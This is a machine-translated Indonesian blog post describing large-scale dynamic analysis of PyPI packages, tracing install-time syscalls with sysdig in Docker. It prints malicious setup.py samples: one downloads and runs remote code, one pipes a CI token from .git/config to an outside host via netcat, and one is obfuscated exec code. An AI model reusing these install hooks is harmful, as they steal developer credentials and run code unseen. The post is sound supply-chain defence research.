Periksa ribuan paket PyPI untuk mencari malware

Sekitar setahun yang lalu, Python Software Foundation membuka Permintaan Informasi (RFI) untuk membahas bagaimana paket malware yang diunggah ke PyPI dapat dideteksi. Jelas, ini adalah masalah nyata yang mempengaruhi hampir semua manajer paket: pembajakan nama paket yang ditinggalkan oleh pengembang , eksploitasi kesalahan ketik pada nama perpustakaan populer, atau pencurian paket dengan mengemas kredensial .



Kenyataannya adalah bahwa manajer paket seperti PyPI adalah infrastruktur penting yang digunakan hampir setiap perusahaan. Saya bisa menulis banyak tentang topik ini, tetapi rilis xkcd ini sudah cukup untuk saat ini.











Bidang pengetahuan ini menarik bagi saya, jadi saya menjawab dengan pemikiran saya tentang bagaimana kita bisa mendekati solusi masalah. Seluruh posting layak dibaca, tetapi satu pemikiran tidak meninggalkan saya sendiri: apa yang terjadi segera setelah menginstal paket.



Tindakan seperti menyiapkan koneksi jaringan atau menjalankan perintah selama proses pip install



harus selalu dilihat dengan hati-hati, karena mereka hampir tidak memberikan cara kepada pengembang untuk memeriksa kode sebelum sesuatu yang buruk terjadi.



Saya ingin menggali lebih dalam masalah ini, jadi dalam posting ini saya akan membagikan bagaimana saya menginstal dan menganalisis setiap paket PyPI mencari aktivitas berbahaya.



Bagaimana menemukan perpustakaan yang berbahaya



Penulis biasanya menambahkan kode ke file setup.py



paket mereka untuk menjalankan perintah arbitrer selama penginstalan . Contohnya bisa dilihat di repositori ini .



Pada tingkat tinggi, untuk menemukan dependensi yang berpotensi membahayakan, kita dapat melakukan dua hal: melihat kode untuk hal-hal buruk (analisis statis), atau mengambil risiko dan menginstalnya untuk melihat apa yang terjadi (analisis dinamis).



Meskipun analisis statis sangat menarik (berkat grep



saya menemukan paket berbahaya bahkan di npm ), dalam posting ini saya akan membahas analisis dinamis. Pada akhirnya, saya merasa lebih dapat diandalkan karena kami memperhatikan apa yang sebenarnya terjadi , dan tidak hanya mencari hal-hal tidak menyenangkan yang bisa terjadi.



Jadi apa yang kita cari?



Seberapa penting tindakan dilakukan



Secara umum, ketika sesuatu yang penting terjadi, prosesnya dilakukan oleh kernel. Program reguler (misalnya pip



) yang ingin melakukan hal-hal penting melalui kernel menggunakan syscalls . Membuka file, membuat koneksi jaringan, menjalankan perintah - semua ini dilakukan melalui panggilan sistem!



Anda dapat mempelajari lebih lanjut tentang ini dari komik Julia Evans :





Ini berarti bahwa jika kita dapat mengamati syscall saat menginstal paket Python, kita dapat memahami jika sesuatu yang mencurigakan sedang terjadi. Keuntungan dari pendekatan ini adalah tidak bergantung pada tingkat kebingungan kode - kami melihat dengan tepat apa yang sebenarnya terjadi.



Penting untuk dicatat bahwa saya tidak mendapatkan ide untuk menonton syscall. Orang-orang seperti Adam Baldwin telah membicarakan hal ini sejak 2017 . Selain itu, ada artikel bagus yang diterbitkan oleh Georgia Institute of Technology yang antara lain mengambil pendekatan yang sama. Sejujurnya, dalam posting ini saya hanya akan mencoba mereproduksi pekerjaan mereka.



Jadi kita tahu kita ingin melacak syscall, tapi bagaimana tepatnya kita melakukannya?



Melacak Syscalls dengan Sysdig



Ada banyak alat yang tersedia untuk memantau syscall. Untuk proyek saya, saya menggunakan sysdig karena menyediakan keluaran terstruktur dan fungsi penyaringan yang nyaman.



Untuk membuatnya berfungsi, ketika saya memulai kontainer Docker yang menginstal paket, saya juga memulai proses sysdig, yang hanya memantau kejadian dari kontainer itu. Saya juga memfilter operasi baca / tulis jaringan dari / ke pypi.org



atau files.pythonhosted.com



, karena saya tidak ingin mengacaukan log dengan lalu lintas yang terkait dengan unduhan paket.



Setelah menemukan cara untuk mencegat syscall, saya harus menyelesaikan masalah lain: dapatkan daftar semua paket PyPI.



Mendapatkan paket Python



Beruntung bagi kami, PyPI memiliki API yang disebut "Simple API" yang juga dapat dianggap sebagai "halaman HTML yang sangat besar dengan tautan ke setiap paket" karena memang seperti itulah. Ini adalah halaman rapi sederhana yang ditulis dalam HTML berkualitas sangat tinggi.



Anda dapat mengambil halaman ini dan mengurai semua tautan dengan bantuan pup



, setelah menerima sekitar 268 ribu paket:



โฏ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

โฏ wc -l pypi_full.txt 
  268038 pypi_full.txt
      
      





Untuk percobaan ini, saya hanya tertarik pada rilis terbaru dari setiap paket. Ada kemungkinan bahwa ada versi paket berbahaya yang terkubur dalam rilis lama, tetapi tagihan AWS tidak akan terbayar sendiri.



Akibatnya, saya mendapatkan sesuatu seperti pipa pemrosesan ini:









Singkatnya, kami mengirim nama setiap paket ke instans EC2 (di masa mendatang saya ingin menggunakan sesuatu seperti Fargate, tapi saya tidak tahu Fargate, jadi ...), yang mendapatkan metadata paket dari PyPI, dan kemudian menjalankan sysdig. serta satu set wadah untuk menginstal paket melalui pip install



, sambil mengumpulkan informasi tentang syscall dan lalu lintas jaringan. Kemudian semua data ditransfer ke S3 untuk saya tangani.



Seperti inilah prosesnya:









hasil



Setelah proses selesai, saya mendapatkan sekitar satu terabyte data yang terletak di bucket S3 dan mencakup sekitar 245 ribu paket. Beberapa paket tidak memiliki versi yang diterbitkan, beberapa lainnya memiliki berbagai kesalahan pemrosesan, tetapi secara keseluruhan ini tampak seperti contoh yang bagus untuk dikerjakan.



Sekarang untuk bagian yang menyenangkan: sekumpulan analisis grep .



Saya menggabungkan metadata dan output untuk menghasilkan satu set file JSON yang terlihat seperti ini:



{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}
      
      





Lalu saya menulis serangkaian skrip untuk mulai mengumpulkan data, mencoba mencari tahu apa yang tidak berbahaya dan apa yang berbahaya. Mari kita telusuri beberapa hasilnya.



Permintaan jaringan



Ada banyak alasan mengapa paket mungkin perlu membuat koneksi jaringan selama proses penginstalan. Mungkin dia perlu mengunduh binari atau sumber daya lainnya, mungkin semacam analitik, atau dia mungkin mencoba mengekstrak data atau informasi akuntansi dari sistem.



Hasilnya, 460 paket membuat koneksi jaringan ke 109 host unik. Seperti disebutkan dalam artikel yang disebutkan di atas, beberapa di antaranya disebabkan oleh fakta bahwa paket memiliki ketergantungan umum yang membuat sambungan jaringan. Anda dapat memfilternya dengan mencocokkan dependensi, tetapi saya belum melakukannya.



Rincian rinci pencarian DNS yang diamati selama penginstalan ada di sini .



Eksekusi perintah



Seperti koneksi jaringan, paket dapat memiliki alasan yang tidak berbahaya untuk menjalankan perintah sistem selama instalasi. Ini dapat dilakukan untuk mengompilasi biner asli, menyiapkan lingkungan yang diinginkan, dan sebagainya.



Saat memeriksa sampel kami, ternyata 60.725 paket menjalankan perintah selama instalasi. Dan seperti halnya koneksi jaringan, perlu diingat bahwa banyak dari ini adalah hasil dari ketergantungan pada paket yang menjalankan perintah.



Paket menarik



Setelah memeriksa hasilnya, sebagian besar koneksi dan perintah jaringan tampak tidak berbahaya seperti yang diharapkan. Tetapi ada beberapa kasus perilaku aneh yang ingin saya tunjukkan untuk menunjukkan kegunaan analisis semacam ini.



i-am-malicious





Paket bernama i-am-malicious



tampaknya pemeriksa konsep paket jahat. Berikut adalah beberapa detail menarik yang memberi kami gambaran bahwa paket ini layak untuk diselidiki (jika namanya tidak cukup bagi kami):



{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}
      
      





Kami segera mulai memahami apa yang terjadi di sini. Kami melihat koneksi dibuat ke gist.github.com



, menjalankan file Python dan membuat file bernama /tmp/malicious-was-here



. Tentu saja, ini terjadi tepat di setup.py



:



from urllib.request import urlopen

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(["python", "/tmp/malicious.py"])
      
      





File tersebut malicious.py



hanya menambahkan /tmp/malicious-was-here



"Saya pernah ke sini" ke pesan, mengisyaratkan bahwa ini memang bukti konsep.



maliciouspackage





Paket malware gadungan lainnya, dinamai dengan cerdik maliciouspackage



, sedikit lebih berbahaya. Berikut keluarannya:



{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}
      
      





Seperti dalam kasus pertama, ini memberi kita gagasan bagus tentang apa yang sedang terjadi. Dalam contoh ini, paket mengekstrak token dari file .git/config



dan memuatnya ke laforge.xyz



. Melihatnya setup.py



, kita bisa melihat dengan tepat apa yang terjadi:



...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
      
      





easyIoCtl





Paketnya penasaran easyIoCtl



. Ia mengklaim menyediakan "abstraksi dari I / O yang membosankan", tetapi kami melihat perintah berikut sedang dijalankan:



[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]
      
      





Mencurigakan, tapi tidak berbahaya. Namun, ini adalah contoh sempurna dari kekuatan pelacakan syscalls. Berikut adalah kode yang relevan dalam setup.py



proyek tersebut:



class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)
      
      





Dengan tingkat kebingungan seperti ini, sulit untuk memahami apa yang sedang terjadi. Analisis statis tradisional dapat melacak panggilan exec



, tetapi hanya itu saja.



Untuk melihat apa yang terjadi, kita bisa mengganti exec



dengan print



, mendapatkan ini:



import os;os.system('touch /tmp/testing123')
      
      





Perintah inilah yang kami lacak, dan ini menunjukkan bahwa bahkan mengaburkan kode tidak memengaruhi hasil, karena kami melacak di tingkat panggilan sistem.



Apa yang terjadi jika kami menemukan paket berbahaya?



Layak untuk menjelaskan secara singkat apa yang dapat kami lakukan ketika kami menemukan paket jahat. Langkah pertama adalah memberi tahu relawan PyPI agar mereka dapat menghapus paket tersebut. Ini dapat dilakukan dengan menulis ke security@python.org.



Anda kemudian dapat melihat berapa kali paket ini diunduh menggunakan set data publik PyPI di BigQuery.



Berikut ini contoh kueri untuk mengetahui berapa kali telah maliciouspackage



diunduh dalam 30 hari terakhir:



#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
    AND CURRENT_DATE()
      
      





Menjalankan kueri ini menunjukkan bahwa itu telah diunduh lebih dari 400 kali:









Bergerak



Sejauh ini, kami hanya melihat PyPI secara umum. Melihat data tersebut, saya tidak dapat menemukan paket yang melakukan tindakan yang sangat berbahaya dan tidak memiliki kata "jahat" pada namanya. Dan ini bagus! Tetapi selalu ada kemungkinan saya melewatkan sesuatu, atau ini mungkin terjadi di masa depan. Jika Anda penasaran dengan datanya, Anda bisa menemukannya di sini .



Nanti, saya akan menulis fungsi lambda untuk mendapatkan perubahan paket terbaru menggunakan umpan RSS PyPI. Setiap paket yang diperbarui akan menjalani pemrosesan yang sama dan mengirimkan pemberitahuan jika aktivitas mencurigakan terdeteksi.



Saya masih tidak suka bahwa perintah sewenang-wenang pada sistem pengguna dapat dijalankan hanya dengan menginstal paket melaluipip install



... Saya memahami bahwa sebagian besar kasus penggunaan tidak berbahaya, tetapi ini membuka peluang ancaman yang perlu dipertimbangkan. Mudah-mudahan, dengan memperkuat pemantauan kami terhadap berbagai pengelola paket, kami dapat mendeteksi tanda-tanda aktivitas berbahaya sebelum berdampak serius.



Dan situasi ini tidak hanya terjadi pada PyPI saja. Nanti, saya berharap dapat melakukan analisis yang sama untuk RubyGems, npm, dan manajer lain seperti yang disebutkan para peneliti di atas. Semua kode yang digunakan untuk menjalankan eksperimen dapat ditemukan di sini . Seperti biasa, jika Anda memiliki pertanyaan, tanyakan kepada mereka !






Periklanan



VDSina menawarkan server virtual di Linux dan Windows - pilih salah satu OS yang sudah diinstal sebelumnya, atau instal dari image Anda.






All Articles